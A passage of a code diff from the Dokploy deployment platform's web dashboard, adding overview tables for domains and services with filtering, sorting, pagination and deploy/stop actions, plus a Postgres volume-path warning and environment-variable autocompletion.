<TabsTrigger value="queue">Queue</TabsTrigger>
</TabsList>
<TabsContent value="deployments" className="mt-0 min-w-0 pt-4">
<ShowDeploymentsTable />
</TabsContent>
<TabsContent value="queue" className="mt-0 pt-4">
<ShowQueueTable />
</TabsContent>
</Tabs>
</CardHeader>
</div>
</Card>
);
};

View File

@ -0,0 +1,383 @@
import type { OverviewDomainSortBy } from "@dokploy/server/services/overview-shared";
import { sortOverviewDomains } from "@dokploy/server/services/overview-shared";
import { ExternalLink, Loader2 } from "lucide-react";
import Link from "next/link";
import { useMemo, useState } from "react";
import { toast } from "sonner";
import { COMPOSE_REDEPLOY_TOAST } from "@/components/dashboard/application/domains/redeploy-hint";
import { DateTooltip } from "@/components/shared/date-tooltip";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import { Card } from "@/components/ui/card";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { Switch } from "@/components/ui/switch";
import {
Table,
TableBody,
TableCell,
TableHead,
TableHeader,
TableRow,
} from "@/components/ui/table";
import {
Tooltip,
TooltipContent,
TooltipProvider,
TooltipTrigger,
} from "@/components/ui/tooltip";
import { useSortPreference } from "@/hooks/use-sort-preference";
import { api } from "@/utils/api";
const PAGE_SIZE_OPTIONS = [25, 50, 100, 200];
const SORT_OPTIONS: { value: OverviewDomainSortBy; label: string }[] = [
{ value: "createdAt-desc", label: "Newest first" },
{ value: "createdAt-asc", label: "Oldest first" },
{ value: "port-asc", label: "Port (low-high)" },
{ value: "port-desc", label: "Port (high-low)" },
];
const SORT_VALUES = SORT_OPTIONS.map((opt) => opt.value);
export const ShowOverviewDomains = () => {
const utils = api.useUtils();
const { data: permissions } = api.user.getPermissions.useQuery();
const canToggleDomain = permissions?.domain.create ?? false;
const { data: domains, isLoading } = api.overview.domains.useQuery();
const { data: allProjects } = api.project.all.useQuery();
const { mutateAsync: toggleEnable, isPending: isToggling } =
api.domain.toggleEnable.useMutation();
const [selectedProjectId, setSelectedProjectId] = useState("all");
const [selectedStatus, setSelectedStatus] = useState("all");
const [selectedSsl, setSelectedSsl] = useState("all");
const [selectedPort, setSelectedPort] = useState("all");
const [sortBy, setSort] = useSortPreference<OverviewDomainSortBy>(
"overviewDomainsSort",
"createdAt-desc",
SORT_VALUES,
);
const handleToggleEnable = async (
domain: NonNullable<typeof domains>[number],
) => {
try {
const result = await toggleEnable({ domainId: domain.domainId });
utils.overview.domains.invalidate();
toast.success(
result.enabled ? "Domain enabled" : "Domain disabled",
result.requiresRedeploy
? { description: COMPOSE_REDEPLOY_TOAST }
: undefined,
);
} catch {
toast.error(`Error updating "${domain.host}"`);
}
};
const availablePorts = useMemo(() => {
if (!domains) return [];
const ports = new Set<number>();
for (const domain of domains) {
if (domain.port !== null) ports.add(domain.port);
}
return Array.from(ports).sort((a, b) => a - b);
}, [domains]);
const filteredDomains = useMemo(() => {
if (!domains) return [];
const filtered = domains.filter(
(domain) =>
(selectedProjectId === "all" ||
domain.projectId === selectedProjectId) &&
(selectedStatus === "all" ||
(selectedStatus === "enabled" ? domain.enabled : !domain.enabled)) &&
(selectedSsl === "all" ||
(selectedSsl === "https" ? domain.https : !domain.https)) &&
(selectedPort === "all" || domain.port === Number(selectedPort)),
);
return sortOverviewDomains(filtered, sortBy);
}, [
domains,
selectedProjectId,
selectedStatus,
selectedSsl,
selectedPort,
sortBy,
]);
const [pageSize, setPageSize] = useState(50);
const [pageIndex, setPageIndex] = useState(0);
const pageCount = Math.max(1, Math.ceil(filteredDomains.length / pageSize));
const currentPageIndex = Math.min(pageIndex, pageCount - 1);
const pagedDomains = filteredDomains.slice(
currentPageIndex * pageSize,
currentPageIndex * pageSize + pageSize,
);
return (
<Card className="bg-sidebar p-2.5 rounded-xl w-full">
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
<div className="flex flex-wrap items-center gap-3 justify-between">
<h3 className="text-lg font-medium">
Domains{" "}
<span className="text-sm font-normal text-muted-foreground">
({filteredDomains.length})
</span>
</h3>
<div className="flex flex-wrap items-center gap-2">
<Select
value={selectedProjectId}
onValueChange={setSelectedProjectId}
>
<SelectTrigger className="w-[160px]">
<SelectValue placeholder="Project" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All projects</SelectItem>
{allProjects?.map((project) => (
<SelectItem key={project.projectId} value={project.projectId}>
{project.name}
</SelectItem>
))}
</SelectContent>
</Select>
<Select value={selectedStatus} onValueChange={setSelectedStatus}>
<SelectTrigger className="w-[130px]">
<SelectValue placeholder="Status" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All statuses</SelectItem>
<SelectItem value="enabled">Enabled</SelectItem>
<SelectItem value="disabled">Disabled</SelectItem>
</SelectContent>
</Select>
<Select value={selectedSsl} onValueChange={setSelectedSsl}>
<SelectTrigger className="w-[130px]">
<SelectValue placeholder="SSL" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">HTTP & HTTPS</SelectItem>
<SelectItem value="https">HTTPS only</SelectItem>
<SelectItem value="http">HTTP only</SelectItem>
</SelectContent>
</Select>
{availablePorts.length > 0 && (
<Select value={selectedPort} onValueChange={setSelectedPort}>
<SelectTrigger className="w-[120px]">
<SelectValue placeholder="Port" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All ports</SelectItem>
{availablePorts.map((port) => (
<SelectItem key={port} value={String(port)}>
{port}
</SelectItem>
))}
</SelectContent>
</Select>
)}
<Select
value={sortBy}
onValueChange={(v) => setSort(v as OverviewDomainSortBy)}
>
<SelectTrigger className="w-[170px]">
<SelectValue placeholder="Sort by..." />
</SelectTrigger>
<SelectContent>
{SORT_OPTIONS.map((opt) => (
<SelectItem key={opt.value} value={opt.value}>
{opt.label}
</SelectItem>
))}
</SelectContent>
</Select>
</div>
</div>
{isLoading && (
<div className="flex items-center justify-center gap-2 py-16 text-muted-foreground">
<Loader2 className="size-4 animate-spin" />
Loading domains...
</div>
)}
{!isLoading && filteredDomains.length === 0 && (
<div className="flex flex-col items-center justify-center gap-2 py-16 text-muted-foreground">
<span>No domains match the current filters.</span>
</div>
)}
{!isLoading && filteredDomains.length > 0 && (
<>
<Table>
<TableHeader>
<TableRow>
<TableHead>Service</TableHead>
<TableHead>Host</TableHead>
<TableHead>Path</TableHead>
<TableHead>Port</TableHead>
<TableHead>Entrypoint</TableHead>
<TableHead>Protocol</TableHead>
<TableHead>Certificate</TableHead>
<TableHead>Created</TableHead>
<TableHead className="text-right">Status</TableHead>
</TableRow>
</TableHeader>
<TableBody>
{pagedDomains.map((domain) => {
const href = `/dashboard/project/${domain.projectId}/environment/${domain.environmentId}/services/${domain.serviceOwnerType}/${domain.serviceOwnerId}`;
return (
<TableRow key={domain.domainId}>
<TableCell>
<Link href={href} className="flex flex-col min-w-0">
<span className="font-medium truncate">
{domain.serviceName}
</span>
<span className="text-xs font-normal text-muted-foreground">
{domain.projectName} / {domain.environmentName}
</span>
</Link>
</TableCell>
<TableCell>
<Link
className="flex items-center gap-2 font-medium hover:underline"
target="_blank"
href={`${domain.https ? "https" : "http"}://${domain.host}${domain.path}`}
>
{domain.host}
<ExternalLink className="size-3" />
</Link>
</TableCell>
<TableCell>
<span className="font-mono text-sm">
{domain.path || "/"}
</span>
</TableCell>
<TableCell>
<Badge variant="secondary">{domain.port}</Badge>
</TableCell>
<TableCell>
{domain.customEntrypoint ? (
<span className="font-mono text-sm">
{domain.customEntrypoint}
</span>
) : (
<span className="text-muted-foreground"></span>
)}
</TableCell>
<TableCell>
<Badge variant={domain.https ? "outline" : "secondary"}>
{domain.https ? "HTTPS" : "HTTP"}
</Badge>
</TableCell>
<TableCell>
<Badge variant="outline" className="capitalize">
{domain.certificateType}
</Badge>
</TableCell>
<TableCell>
<DateTooltip date={domain.createdAt} />
</TableCell>
<TableCell className="text-right">
{canToggleDomain ? (
<TooltipProvider>
<Tooltip>
<TooltipTrigger asChild>
<div className="flex items-center justify-end">
<Switch
checked={domain.enabled}
onCheckedChange={() =>
handleToggleEnable(domain)
}
disabled={isToggling}
/>
</div>
</TooltipTrigger>
<TooltipContent>
<p>
{domain.enabled
? "Domain is active. Toggle to disable routing without deleting it."
: "Domain is disabled and not routed. Toggle to enable it again."}
</p>
</TooltipContent>
</Tooltip>
</TooltipProvider>
) : (
<Badge
variant={domain.enabled ? "outline" : "secondary"}
>
{domain.enabled ? "Enabled" : "Disabled"}
</Badge>
)}
</TableCell>
</TableRow>
);
})}
</TableBody>
</Table>
<div className="flex items-center justify-between text-sm text-muted-foreground">
<span>
{filteredDomains.length}{" "}
{filteredDomains.length === 1 ? "domain" : "domains"} total
</span>
<div className="flex items-center gap-3">
<div className="flex items-center gap-2">
<span className="whitespace-nowrap">Rows per page</span>
<Select
value={String(pageSize)}
onValueChange={(value) => {
setPageSize(Number(value));
setPageIndex(0);
}}
>
<SelectTrigger className="w-[80px] h-8">
<SelectValue />
</SelectTrigger>
<SelectContent>
{PAGE_SIZE_OPTIONS.map((size) => (
<SelectItem key={size} value={String(size)}>
{size}
</SelectItem>
))}
</SelectContent>
</Select>
</div>
<span className="whitespace-nowrap">
Page {currentPageIndex + 1} of {pageCount}
</span>
<div className="flex gap-2">
<Button
variant="outline"
size="sm"
onClick={() => setPageIndex(currentPageIndex - 1)}
disabled={currentPageIndex === 0}
>
Previous
</Button>
<Button
variant="outline"
size="sm"
onClick={() => setPageIndex(currentPageIndex + 1)}
disabled={currentPageIndex + 1 >= pageCount}
>
Next
</Button>
</div>
</div>
</div>
</>
)}
</div>
</Card>
);
};

View File

@ -0,0 +1,550 @@
import type {
OverviewServiceType,
OverviewSortBy,
} from "@dokploy/server/services/overview-shared";
import { sortOverviewServices } from "@dokploy/server/services/overview-shared";
import {
Ban,
CircuitBoard,
GlobeIcon,
Loader2,
MoreHorizontal,
RefreshCw,
Search,
ServerIcon,
} from "lucide-react";
import Link from "next/link";
import { useMemo, useState } from "react";
import { toast } from "sonner";
import { DB_ENGINE_ICONS } from "@/components/icons/data-tools-icons";
import { DateTooltip } from "@/components/shared/date-tooltip";
import { DialogAction } from "@/components/shared/dialog-action";
import { StatusTooltip } from "@/components/shared/status-tooltip";
import { Button } from "@/components/ui/button";
import { Card } from "@/components/ui/card";
import {
DropdownMenu,
DropdownMenuContent,
DropdownMenuItem,
DropdownMenuLabel,
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import {
Table,
TableBody,
TableCell,
TableHead,
TableHeader,
TableRow,
} from "@/components/ui/table";
import { useSortPreference } from "@/hooks/use-sort-preference";
import { api } from "@/utils/api";
const PAGE_SIZE_OPTIONS = [25, 50, 100, 200];
const TYPE_LABELS = {
application: "Application",
postgres: "PostgreSQL",
mariadb: "MariaDB",
mongo: "MongoDB",
mysql: "MySQL",
redis: "Redis",
compose: "Compose",
libsql: "Libsql",
} satisfies Record<OverviewServiceType, string>;
const STATUS_OPTIONS = ["running", "idle", "done", "error"];
// "done" is the steady live state (green); "running" only holds mid-deploy (yellow) — relabeled to match what users expect.
const STATUS_LABELS: Record<string, string> = {
running: "Deploying",
idle: "Idle",
done: "Running",
error: "Error",
};
const SORT_OPTIONS: { value: OverviewSortBy; label: string }[] = [
{ value: "lastDeploy-desc", label: "Recently deployed" },
{ value: "lastDeploy-asc", label: "Oldest deployed" },
{ value: "createdAt-desc", label: "Newest first" },
{ value: "createdAt-asc", label: "Oldest first" },
{ value: "name-asc", label: "Name (A-Z)" },
{ value: "name-desc", label: "Name (Z-A)" },
{ value: "type-asc", label: "Type (A-Z)" },
{ value: "type-desc", label: "Type (Z-A)" },
];
const SORT_VALUES = SORT_OPTIONS.map((opt) => opt.value);
// libsql has no deploy/stop actions, same as environment/[environmentId].tsx.
const idKeyByType: Record<string, string> = {
application: "applicationId",
compose: "composeId",
postgres: "postgresId",
mysql: "mysqlId",
mariadb: "mariadbId",
redis: "redisId",
mongo: "mongoId",
};
export const ShowOverviewServices = () => {
const utils = api.useUtils();
const {
data: services,
isLoading,
refetch,
} = api.overview.services.useQuery();
const { data: allProjects } = api.project.all.useQuery();
const [searchQuery, setSearchQuery] = useState("");
const [selectedProjectId, setSelectedProjectId] = useState("all");
const [selectedType, setSelectedType] = useState("all");
const [selectedStatus, setSelectedStatus] = useState("all");
const [selectedServerId, setSelectedServerId] = useState("all");
const [sortBy, setSort] = useSortPreference<OverviewSortBy>(
"overviewServicesSort",
"lastDeploy-desc",
SORT_VALUES,
);
const applicationActions = {
deploy: api.application.deploy.useMutation(),
stop: api.application.stop.useMutation(),
};
const composeActions = {
deploy: api.compose.deploy.useMutation(),
stop: api.compose.stop.useMutation(),
};
const postgresActions = {
deploy: api.postgres.deploy.useMutation(),
stop: api.postgres.stop.useMutation(),
};
const mysqlActions = {
deploy: api.mysql.deploy.useMutation(),
stop: api.mysql.stop.useMutation(),
};
const mariadbActions = {
deploy: api.mariadb.deploy.useMutation(),
stop: api.mariadb.stop.useMutation(),
};
const redisActions = {
deploy: api.redis.deploy.useMutation(),
stop: api.redis.stop.useMutation(),
};
const mongoActions = {
deploy: api.mongo.deploy.useMutation(),
stop: api.mongo.stop.useMutation(),
};
const actionsByType: Record<
string,
{
deploy: { mutateAsync: (input: any) => Promise<unknown> };
stop: { mutateAsync: (input: any) => Promise<unknown> };
}
> = {
application: applicationActions,
compose: composeActions,
postgres: postgresActions,
mysql: mysqlActions,
mariadb: mariadbActions,
redis: redisActions,
mongo: mongoActions,
};
const handleAction = async (
service: NonNullable<typeof services>[number],
action: "deploy" | "stop",
) => {
const actions = actionsByType[service.type];
const idKey = idKeyByType[service.type];
if (!actions || !idKey) return;
const labels =
action === "deploy"
? {
loading: "Deploying",
success: "queued for deployment",
error: "deploying",
}
: { loading: "Stopping", success: "stopped", error: "stopping" };
toast.promise(
(async () => {
await actions[action].mutateAsync({ [idKey]: service.id });
})(),
{
loading: `${labels.loading} ${service.name}...`,
success: () => {
utils.overview.services.invalidate();
return `${service.name} ${labels.success} successfully`;
},
error: (error) =>
`Error ${labels.error} ${service.name}: ${error instanceof Error ? error.message : "Unknown error"}`,
},
);
};
const availableServers = useMemo(() => {
if (!services) return [];
const map = new Map<string, string>();
for (const service of services) {
if (service.serverId && service.serverName) {
map.set(service.serverId, service.serverName);
}
}
return Array.from(map.entries()).map(([serverId, serverName]) => ({
serverId,
serverName,
}));
}, [services]);
const hasServicesWithoutServer = useMemo(
() => !!services?.some((service) => !service.serverId),
[services],
);
const filteredServices = useMemo(() => {
if (!services) return [];
const filtered = services.filter(
(service) =>
service.name.toLowerCase().includes(searchQuery.toLowerCase()) &&
(selectedProjectId === "all" ||
service.projectId === selectedProjectId) &&
(selectedType === "all" || service.type === selectedType) &&
(selectedStatus === "all" || service.status === selectedStatus) &&
(selectedServerId === "all" ||
(selectedServerId === "dokploy-server" && !service.serverId) ||
service.serverId === selectedServerId),
);
return sortOverviewServices(filtered, sortBy);
}, [
services,
searchQuery,
selectedProjectId,
selectedType,
selectedStatus,
selectedServerId,
sortBy,
]);
// pageIndex is clamped against the filtered count each render instead of reset via an effect.
const [pageSize, setPageSize] = useState(50);
const [pageIndex, setPageIndex] = useState(0);
const pageCount = Math.max(1, Math.ceil(filteredServices.length / pageSize));
const currentPageIndex = Math.min(pageIndex, pageCount - 1);
const pagedServices = filteredServices.slice(
currentPageIndex * pageSize,
currentPageIndex * pageSize + pageSize,
);
const renderIcon = (service: NonNullable<typeof services>[number]) => {
if (service.type in DB_ENGINE_ICONS) {
const Icon =
DB_ENGINE_ICONS[service.type as keyof typeof DB_ENGINE_ICONS];
return <Icon className="h-5 w-5" />;
}
if (service.icon) {
return (
<img
src={service.icon}
alt={service.name}
className="size-5 object-contain rounded-sm"
/>
);
}
return service.type === "compose" ? (
<CircuitBoard className="h-5 w-5" />
) : (
<GlobeIcon className="h-5 w-5" />
);
};
return (
<Card className="bg-sidebar p-2.5 rounded-xl w-full">
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
<div className="flex flex-wrap items-center gap-3 justify-between">
<h3 className="text-lg font-medium">
Services{" "}
<span className="text-sm font-normal text-muted-foreground">
({filteredServices.length})
</span>
</h3>
<div className="flex flex-wrap items-center gap-2">
<div className="relative">
<Input
placeholder="Filter services..."
value={searchQuery}
onChange={(e) => setSearchQuery(e.target.value)}
className="pr-9 w-[200px]"
/>
<Search className="absolute right-3 top-1/2 -translate-y-1/2 size-4 text-muted-foreground" />
</div>
<Select
value={selectedProjectId}
onValueChange={setSelectedProjectId}
>
<SelectTrigger className="w-[160px]">
<SelectValue placeholder="Project" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All projects</SelectItem>
{allProjects?.map((project) => (
<SelectItem key={project.projectId} value={project.projectId}>
{project.name}
</SelectItem>
))}
</SelectContent>
</Select>
<Select value={selectedType} onValueChange={setSelectedType}>
<SelectTrigger className="w-[150px]">
<SelectValue placeholder="Type" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All types</SelectItem>
{Object.entries(TYPE_LABELS).map(([value, label]) => (
<SelectItem key={value} value={value}>
{label}
</SelectItem>
))}
</SelectContent>
</Select>
<Select value={selectedStatus} onValueChange={setSelectedStatus}>
<SelectTrigger className="w-[130px]">
<SelectValue placeholder="Status" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All statuses</SelectItem>
{STATUS_OPTIONS.map((status) => (
<SelectItem key={status} value={status}>
{STATUS_LABELS[status] ?? status}
</SelectItem>
))}
</SelectContent>
</Select>
{(availableServers.length > 0 || hasServicesWithoutServer) && (
<Select
value={selectedServerId}
onValueChange={setSelectedServerId}
>
<SelectTrigger className="w-[170px]">
<SelectValue placeholder="Server" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All servers</SelectItem>
{hasServicesWithoutServer && (
<SelectItem value="dokploy-server">
Dokploy server
</SelectItem>
)}
{availableServers.map((s) => (
<SelectItem key={s.serverId} value={s.serverId}>
{s.serverName}
</SelectItem>
))}
</SelectContent>
</Select>
)}
<Select
value={sortBy}
onValueChange={(v) => setSort(v as OverviewSortBy)}
>
<SelectTrigger className="w-[190px]">
<SelectValue placeholder="Sort by..." />
</SelectTrigger>
<SelectContent>
{SORT_OPTIONS.map((opt) => (
<SelectItem key={opt.value} value={opt.value}>
{opt.label}
</SelectItem>
))}
</SelectContent>
</Select>
</div>
</div>
{isLoading && (
<div className="flex items-center justify-center gap-2 py-16 text-muted-foreground">
<Loader2 className="size-4 animate-spin" />
Loading services...
</div>
)}
{!isLoading && filteredServices.length === 0 && (
<div className="flex flex-col items-center justify-center gap-2 py-16 text-muted-foreground">
<span>No services match the current filters.</span>
</div>
)}
{!isLoading && filteredServices.length > 0 && (
<>
<Table>
<TableHeader>
<TableRow>
<TableHead>Service</TableHead>
<TableHead>Type</TableHead>
<TableHead>Status</TableHead>
<TableHead>Server</TableHead>
<TableHead>Created</TableHead>
<TableHead>Last Deploy</TableHead>
<TableHead className="text-right">Actions</TableHead>
</TableRow>
</TableHeader>
<TableBody>
{pagedServices.map((service) => {
const href = `/dashboard/project/${service.projectId}/environment/${service.environmentId}/services/${service.type}/${service.id}`;
const hasActions = service.type in actionsByType;
return (
<TableRow key={service.id}>
<TableCell>
<Link href={href} className="flex items-center gap-2">
{renderIcon(service)}
<div className="flex flex-col min-w-0">
<span className="font-medium truncate">
{service.name}
</span>
<span className="text-xs font-normal text-muted-foreground">
{service.projectName} / {service.environmentName}
</span>
</div>
</Link>
</TableCell>
<TableCell>{TYPE_LABELS[service.type]}</TableCell>
<TableCell>
<StatusTooltip
status={service.status as any}
className="size-2.5"
/>
</TableCell>
<TableCell>
<div className="flex items-center gap-1.5 text-muted-foreground">
<ServerIcon className="size-3.5" />
<span className="truncate">
{service.serverName ?? "Dokploy server"}
</span>
</div>
</TableCell>
<TableCell>
<DateTooltip date={service.createdAt} />
</TableCell>
<TableCell>
{service.lastDeployAt ? (
<DateTooltip date={service.lastDeployAt} />
) : (
<span className="text-muted-foreground"></span>
)}
</TableCell>
<TableCell className="text-right">
{hasActions && (
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button variant="ghost" className="h-8 w-8 p-0">
<span className="sr-only">Open menu</span>
<MoreHorizontal className="h-4 w-4" />
</Button>
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
<DropdownMenuLabel className="truncate">
{service.name}
</DropdownMenuLabel>
<DialogAction
title="Deploy Service"
description={`Are you sure you want to deploy "${service.name}"?`}
type="default"
onClick={() => handleAction(service, "deploy")}
>
<DropdownMenuItem
className="flex items-center gap-2"
onSelect={(e) => e.preventDefault()}
>
<RefreshCw className="size-4" />
Deploy
</DropdownMenuItem>
</DialogAction>
<DialogAction
title="Stop Service"
description={`Are you sure you want to stop "${service.name}"?`}
onClick={() => handleAction(service, "stop")}
>
<DropdownMenuItem
className="flex items-center gap-2 text-orange-500 focus:text-orange-500"
onSelect={(e) => e.preventDefault()}
>
<Ban className="size-4" />
Stop
</DropdownMenuItem>
</DialogAction>
</DropdownMenuContent>
</DropdownMenu>
)}
</TableCell>
</TableRow>
);
})}
</TableBody>
</Table>
<div className="flex items-center justify-between text-sm text-muted-foreground">
<span>
{filteredServices.length}{" "}
{filteredServices.length === 1 ? "service" : "services"} total
</span>
<div className="flex items-center gap-3">
<div className="flex items-center gap-2">
<span className="whitespace-nowrap">Rows per page</span>
<Select
value={String(pageSize)}
onValueChange={(value) => {
setPageSize(Number(value));
setPageIndex(0);
}}
>
<SelectTrigger className="w-[80px] h-8">
<SelectValue />
</SelectTrigger>
<SelectContent>
{PAGE_SIZE_OPTIONS.map((size) => (
<SelectItem key={size} value={String(size)}>
{size}
</SelectItem>
))}
</SelectContent>
</Select>
</div>
<span className="whitespace-nowrap">
Page {currentPageIndex + 1} of {pageCount}
</span>
<div className="flex gap-2">
<Button
variant="outline"
size="sm"
onClick={() => setPageIndex(currentPageIndex - 1)}
disabled={currentPageIndex === 0}
>
Previous
</Button>
<Button
variant="outline"
size="sm"
onClick={() => setPageIndex(currentPageIndex + 1)}
disabled={currentPageIndex + 1 >= pageCount}
>
Next
</Button>
</div>
</div>
</div>
</>
)}
</div>
</Card>
);
};

View File

@ -4,6 +4,7 @@ import { useEffect } from "react";
import { useFieldArray, useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block";
import { Button } from "@/components/ui/button";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import {
@ -18,6 +19,19 @@ import { Input } from "@/components/ui/input";
import { api } from "@/utils/api";
import type { ServiceType } from "../../application/advanced/show-resources";
const getPostgresMountPath = (dockerImage: string): string => {
const versionMatch = dockerImage.match(/postgres:(\d+)/);
if (versionMatch?.[1]) {
const version = Number.parseInt(versionMatch[1], 10);
if (version >= 18) {
return `/var/lib/postgresql/${version}/docker`;
}
}
return "/var/lib/postgresql/data";
};
const POSTGRES_DATA_PATH_REGEX = /^\/var\/lib\/postgresql(\/|$)/;
const addDockerImage = z.object({
dockerImage: z.string().min(1, "Docker image is required"),
command: z.string(),
@ -91,6 +105,27 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
}
}, [data, form]);
const dockerImage = form.watch("dockerImage");
const mountPathWarning = (() => {
if (type !== "postgres" || !dockerImage) return null;
const mounts = data && "mounts" in data ? data.mounts : [];
const dataMounts = mounts.filter(
(mount) =>
mount.type === "volume" &&
POSTGRES_DATA_PATH_REGEX.test(mount.mountPath),
);
if (dataMounts.length === 0) return null;
const expectedPath = getPostgresMountPath(dockerImage);
if (dataMounts.some((mount) => mount.mountPath === expectedPath)) {
return null;
}
return {
expectedPath,
currentPath: dataMounts.map((mount) => mount.mountPath).join(", "),
};
})();
const onSubmit = async (formData: AddDockerImage) => {
await mutateAsync({
mongoId: id || "",
@ -139,6 +174,18 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
</FormItem>
)}
/>
{mountPathWarning && (
<AlertBlock type="warning">
This image expects its data directory under{" "}
<code>{mountPathWarning.expectedPath}</code>, but the
volume of this database is mounted at{" "}
<code>{mountPathWarning.currentPath}</code>. Changing the
image does not migrate existing data Postgres may
crash-loop or start with an empty database. Adjust the
volume mount path in the Volumes section or keep a
compatible image before saving.
</AlertBlock>
)}
</div>
<FormField
control={form.control}

View File

@ -6,6 +6,7 @@ import { toast } from "sonner";
import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
import { Button } from "@/components/ui/button";
import {
Dialog,
@ -55,6 +56,11 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
},
);
const completionSource = useEnvCompletionSource({
includeShared: false,
projectId: data?.projectId,
environmentId,
});
const form = useForm<UpdateEnvironment>({
defaultValues: {
env: data?.env ?? "",
@ -134,7 +140,9 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
<AlertBlock type="info">
Use this syntax to reference environment-level variables in your
service environments:{" "}
<code>API_URL=${"{{environment.API_URL}}"}</code>
<code>API_URL=${"{{environment.API_URL}}"}</code>. You can also
reference secrets from a configured vault provider:{" "}
<code>DB_URL=${"{{vault.<provider>.<secret>}}"}</code>
</AlertBlock>
<div className="grid gap-4">
<div className="grid items-center gap-4">
@ -151,6 +159,7 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
<FormLabel>Environment variables</FormLabel>
<FormControl>
<CodeEditor
completionSource={completionSource}
lineWrapping
language="properties"
readOnly={!canWrite}

View File

@ -6,6 +6,7 @@ import { toast } from "sonner";
import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
import { Button } from "@/components/ui/button";
import {
Dialog,
@ -55,6 +56,10 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
},
);
const completionSource = useEnvCompletionSource({
includeShared: false,
projectId,
});
const form = useForm<UpdateProject>({
defaultValues: {
env: data?.env ?? "",
@ -77,6 +82,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
.then(() => {
toast.success("Project env updated successfully");
utils.project.all.invalidate();
utils.project.one.invalidate({ projectId });
})
.catch(() => {
toast.error("Error updating the env");
@ -149,6 +155,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
<FormLabel>Environment variables</FormLabel>
<FormControl>
<CodeEditor
completionSource={completionSource}
lineWrapping
language="properties"
readOnly={!canWrite}

View File

@ -91,6 +91,7 @@ export const RequestDistributionChart = ({
<Area
dataKey="count"
type="monotone"
isAnimationActive={false}
fill="hsl(var(--chart-1))"
fillOpacity={0.4}
stroke="hsl(var(--chart-1))"

View File

@ -175,7 +175,7 @@ export const SearchCommand = () => {
</CommandItem>
<CommandItem
onSelect={() => {
router.push("/dashboard/deployments");
router.push("/dashboard/overview?tab=deployments");
setOpen(false);
}}
>

Some files were not shown because too many files have changed in this diff Show More